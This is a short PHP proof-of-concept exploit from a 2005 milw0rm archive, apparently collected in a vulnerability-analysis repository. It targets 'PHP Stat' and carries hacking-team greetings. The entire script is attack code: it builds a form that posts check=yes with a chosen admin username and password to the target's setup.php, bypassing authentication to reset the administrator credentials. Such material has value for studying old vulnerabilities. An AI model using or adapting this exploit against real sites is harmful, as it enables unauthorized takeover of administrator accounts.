lilbool/vuln-code-analysis

1<?php

2error_reporting(E_PARSE);

3/*

4================================================================

5PHP Stat Administrative User Authentication Bypass POC Exploit

6================================================================

7====Trap-Set Underground Hacking Team===========mh_p0rtal============

8

9Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams :

10Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam

11, CrouZ Security Team , Simorgh-ev Security Team ,

12

13====================^^^^^^^^^^^^^^^^^^^-=========================

14*/

15# Config ________________________________

16# address - example: http://www.site.com/setup.php Or www.site.com /dir/setup.php

17

18$url = "http://www.site.com/setup.php";

19

20# EnD ___________________________________

21

22print "<form action=\"$url?check=yes&username=$username&password=$password\" >";

23print "<input type=\"hidden\" name=\"check\"  value=\"yes\">";

24print "Username : <input type=\"text\" name=\"username\"  value=\"admin\" size=\"25\"><br>";

25print "Password : <input type=\"text\" name=\"password\"  value=\"abc123\" size=\"25\"><br>";

26print ("<input type=submit value=::Change. > \n");

27print "</form>";

28

29//------------------------------------------------------End.

30?>

31

32# milw0rm.com [2005-05-30]